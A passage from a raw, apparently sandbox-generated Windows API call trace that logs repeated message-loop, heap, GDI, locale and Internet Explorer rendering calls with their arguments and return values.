lpMsg=0x30f8cc) returned 1 [0147.229] NtdllDefWindowProc_W () returned 0x0 [0147.229] NtdllDefWindowProc_W () returned 0x0 [0147.229] GetDeviceCaps (hdc=0x3010ae4, index=90) returned 96 [0147.229] GetDeviceCaps (hdc=0x3010ae4, index=88) returned 96 [0147.229] GetSystemMetrics (nIndex=68) returned 4 [0147.229] GetSystemMetrics (nIndex=69) returned 4 [0147.229] GetSystemMetrics (nIndex=2) returned 17 [0147.229] GetSystemMetrics (nIndex=3) returned 17 [0147.229] GetStockObject (i=13) returned 0x18a002e [0147.229] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x18a002e [0147.229] GetTextMetricsW (in: hdc=0x3010ae4, lptm=0x30f680 | out: lptm=0x30f680) returned 1 [0147.229] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x18a002e [0147.229] DeleteObject (ho=0x18a002e) returned 1 [0147.229] GetSystemDefaultLCID () returned 0x409 [0147.229] GetUserDefaultLCID () returned 0x409 [0147.229] GetACP () returned 0x4e4 [0147.229] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x30f5f4, cchData=41 | out: lpLCData="1") returned 2 [0147.230] _wtoi (_String="1") returned 1 [0147.230] RegCloseKey (hKey=0x0) returned 0x6 [0147.230] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x30f648, cchData=16 | out: lpLCData="0123456789") returned 11 [0147.230] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388b038, fWinIni=0x0 | out: pvParam=0x7388b038) returned 1 [0147.230] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x30f6bc, fWinIni=0x0 | out: pvParam=0x30f6bc) returned 1 [0147.230] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x804860 [0147.230] IsOS (dwOS=0x25) returned 1 [0147.231] GetSysColor (nIndex=26) returned 0xcc6600 [0147.231] IsOS (dwOS=0x25) returned 1 [0147.231] GetSysColor (nIndex=5) returned 0xffffff [0147.231] GetSysColor (nIndex=8) returned 0x0 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830500 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804160 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b648 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830578 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d0f8 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b678 | out: hHeap=0x7f0000) returned 1 [0147.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0147.236] wcstol (in: _String="0,0,255", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*=",0,255") returned 0 [0147.236] wcstol (in: _String="0,255", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*=",255") returned 0 [0147.236] wcstol (in: _String="255", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*="") returned 255 [0147.236] wcstol (in: _String="128,0,128", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*=",0,128") returned 128 [0147.236] wcstol (in: _String="0,128", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*=",128") returned 0 [0147.236] wcstol (in: _String="128", _EndPtr=0x30e2e4, _Radix=10 | out: _EndPtr=0x30e2e4*="") returned 128 [0147.238] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0147.238] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0147.238] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f39c | out: phkResult=0x30f39c*=0x19c) returned 0x0 [0147.238] SHGetValueW (in: hkey=0x19c, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x30f3a0, pcbData=0x30f398*=0xa | out: pdwType=0x0, pvData=0x30f3a0, pcbData=0x30f398*=0xa) returned 0x2 [0147.238] RegCloseKey (hKey=0x19c) returned 0x0 [0147.239] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x80) returned 0x84ff48 [0147.239] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x84ead0 [0147.239] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x3a) returned 0x804160 [0147.239] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x84a9a8 [0147.240] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x84eb00 [0147.240] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x26) returned 0x80d0f8 [0147.240] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6e) returned 0x8361b0 [0147.240] GetProcessHeap () returned 0x7f0000 [0147.240] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82f4d0 | out: hHeap=0x7f0000) returned 1 [0147.240] GetProcessHeap () returned 0x7f0000 [0147.240] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82f910 | out: hHeap=0x7f0000) returned 1 [0147.240] GetProcessHeap () returned 0x7f0000 [0147.240] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83b2b8 | out: hHeap=0x7f0000) returned 1 [0147.241] GetAcceptLanguagesW () returned 0x0 [0147.242] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.242] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0147.242] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0147.242] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0147.242] GetCurrentThreadId () returned 0xcd8 [0147.242] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.242] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0147.243] GetMessageTime () returned 275372 [0147.243] GetMessagePos () returned 0x1c80339 [0147.243] GetCapture () returned 0x0 [0147.243] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0147.243] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.243] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.243] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0147.243] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.243] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.243] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.243] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0147.243] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.243] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.243] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.243] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0147.243] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0147.243] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0147.243] GetCursor () returned 0x10003 [0147.243] GetCurrentThreadId () returned 0xcd8 [0147.244] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.244] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.244] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.244] GetMessageTime () returned 275404 [0147.244] GetMessagePos () returned 0x1c80339 [0147.244] GetCapture () returned 0x0 [0147.244] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0147.244] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.244] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.244] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0147.244] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.244] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.244] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.244] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0147.244] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.244] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.244] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.245] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0147.245] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0147.245] GetCurrentThreadId () returned 0xcd8 [0147.245] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0147.245] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0147.245] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0147.245] NtdllDefWindowProc_W () returned 0x0 [0147.245] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0147.245] GetCurrentThreadId () returned 0xcd8 [0147.245] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.277] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.277] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0147.277] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0147.277] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0147.277] GetCurrentThreadId () returned 0xcd8 [0147.277] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.277] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0147.278] GetMessageTime () returned 275404 [0147.278] GetMessagePos () returned 0x1c80339 [0147.278] GetCapture () returned 0x0 [0147.278] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0147.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.278] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.278] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0147.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.278] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.278] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.278] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0147.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.278] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0147.278] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0147.278] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0147.279] GetCursor () returned 0x10003 [0147.279] GetCurrentThreadId () returned 0xcd8 [0147.279] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.279] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.279] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.279] GetMessageTime () returned 275450 [0147.279] GetMessagePos () returned 0x1c80339 [0147.279] GetCapture () returned 0x0 [0147.279] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0147.279] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.279] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.279] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0147.279] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.279] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.279] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0147.279] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0147.280] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.280] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.280] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0147.280] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.280] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.280] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.280] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0147.280] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0147.280] GetCurrentThreadId () returned 0xcd8 [0147.280] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0147.281] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0147.281] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0147.281] NtdllDefWindowProc_W () returned 0x0 [0147.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0147.281] GetCurrentThreadId () returned 0xcd8 [0147.281] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.362] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.362] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0147.362] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0147.362] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0147.362] GetCurrentThreadId () returned 0xcd8 [0147.362] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.362] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0147.363] GetMessageTime () returned 275450 [0147.363] GetMessagePos () returned 0x1c80339 [0147.363] GetCapture () returned 0x0 [0147.363] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0147.363] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.363] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.363] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0147.363] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.363] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.363] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.363] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0147.363] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.363] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.363] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.363] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0147.363] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0147.363] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0147.364] GetCursor () returned 0x10003 [0147.364] GetCurrentThreadId () returned 0xcd8 [0147.364] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.364] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.364] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.364] GetMessageTime () returned 275544 [0147.364] GetMessagePos () returned 0x1c80339 [0147.364] GetCapture () returned 0x0 [0147.364] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0147.364] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.364] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.364] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0147.364] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.364] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.364] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.364] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0147.364] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.365] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.365] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 